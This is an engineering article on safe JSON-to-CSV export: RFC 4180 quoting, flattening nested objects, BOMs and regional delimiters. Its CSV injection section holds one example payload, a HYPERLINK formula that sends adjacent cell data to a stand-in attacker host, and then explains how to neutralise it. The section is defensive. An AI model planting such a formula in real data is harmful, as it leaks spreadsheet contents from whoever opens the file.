Why Naive Array.join(',') Scripts Corrupt Production Exports
Comma-Separated Values (CSV) predates formal standardization by decades, which led to subtle incompatibilities until IETF published RFC 4180. The single most common bug in custom export endpoints is concatenating fields with .join(',') without inspecting field contents.
Whenever a user's company name contains a comma (e.g., "Acme, Inc."), a note contains a newline, or a product title includes inch marks (27" Monitor), naive concatenation shifts every subsequent column to the right and corrupts downstream SQL COPY or Excel imports.
Under RFC 4180 Section 2, any field containing the delimiter character, a double quote ("), a carriage return (\r), or a line feed (\n) must be wrapped in double quotes, and every literal double quote inside that field must be escaped by doubling it ("").
export function escapeRfc4180Cell(value: unknown, delimiter = ","): string {
if (value === null || value === undefined) return "";
const raw = String(value);
const mustQuote =
raw.includes(delimiter) ||
raw.includes('"') ||
raw.includes("\n") ||
raw.includes("\r");
return mustQuote ? `"${raw.replace(/"/g, '""')}"` : raw;
}Flattening Nested Objects and Unifying Sparse Headers
Relational tables require a fixed set of columns across every row, whereas NoSQL documents and REST responses are jagged and hierarchical. If record #1 omits an optional "billing.vatNumber" object that appears on record #47, deriving CSV headers solely from objects[0] silently drops data from record #47.
A resilient JSON-to-CSV pipeline performs a two-pass transformation: Pass 1 recursively flattens nested plain objects using dot-notation paths (such as customer.address.postalCode) across the entire array to compute the ordered union of all column keys; Pass 2 serializes each row against that complete header list.
Arrays nested inside an object require explicit design choices: primitive arrays (like tags: ["urgent", "enterprise"]) are best joined with a secondary separator (;) or serialized as compact JSON strings so row cardinality stays 1:1 with the source entities.
Preventing CSV Injection (Formula Execution) in Spreadsheets
Security teams regularly flag CSV export endpoints during penetration tests for CSV Formula Injection (CWE-1236). When Microsoft Excel, LibreOffice Calc, or Google Sheets opens a CSV cell whose first character is =, +, -, or @, the spreadsheet application interprets the cell as an executable formula rather than plain text.
If an attacker submits a display name such as =HYPERLINK("https://evil.example/leak?d="&A2, "Click") and an administrator exports user sign-ups to Excel, clicking the cell can exfiltrate adjacent cells.
When exporting untrusted user input intended for human spreadsheet review, prefix cells starting with [=, +, -, @, \t, \r] with a leading single quote (') or sanitize them according to OWASP guidelines.
UTF-8 Encoding, BOMs, and Regional Semicolon Delimiters
International characters (such as Turkish İ/ş/ğ, German ü/ß, or Japanese kanji) frequently appear garbled in older desktop builds of Excel when opening a raw UTF-8 CSV without a Byte Order Mark (U+FEFF). Prepending \uFEFF at byte 0 signals UTF-8 unambiguously to Excel while remaining harmless to modern web tools.
Additionally, in European locales where the comma serves as the decimal separator (e.g., 19,99 €), spreadsheet software expects semicolon-delimited (;) CSV files. Always offer configurable delimiters (comma, semicolon, tab) when building data export utilities.
Handling JSON Data Types During RFC 4180 CSV Serialization
| JSON Value Type | Example Input | Recommended CSV Representation | Common Pitfall |
|---|---|---|---|
| Nested Object | {"geo":{"lat":41.0}} | Column geo.lat -> 41.0 | Outputting useless [object Object] |
| String with Quotes | 14" MacBook Pro | "14"" MacBook Pro" | Unescaped quotes breaking row parser |
| Null / Undefined | null | Empty cell () | Writing literal string "null" or "undefined" |
| Leading Zero String | "00482" | "00482" (text import) | Spreadsheet stripping leading zeros to 482 |
Production Engineering Checklist
- Scan every object in a JSON array—not just the first element—when collecting CSV column headers.
- Double internal quotes ("") and wrap fields containing delimiters or line breaks per RFC 4180.
- Defend administrative exports against CSV Formula Injection (=, +, -, @ prefixes) on untrusted strings.
- Support semicolon and tab delimiters alongside commas for international spreadsheet compatibility.
Frequently Asked Questions
Why does my CSV show [object Object] in a column?
Calling String(obj) on a nested JavaScript object returns '[object Object]'. Flatten nested objects into dot-notation columns (e.g., user.id, user.email) before serializing rows.
Should CSV line endings be CRLF or LF?
RFC 4180 specifies CRLF (\r\n) to match internet text protocols, though virtually all modern parsers (PostgreSQL, Python csv, pandas, Excel) accept both CRLF and LF (\n).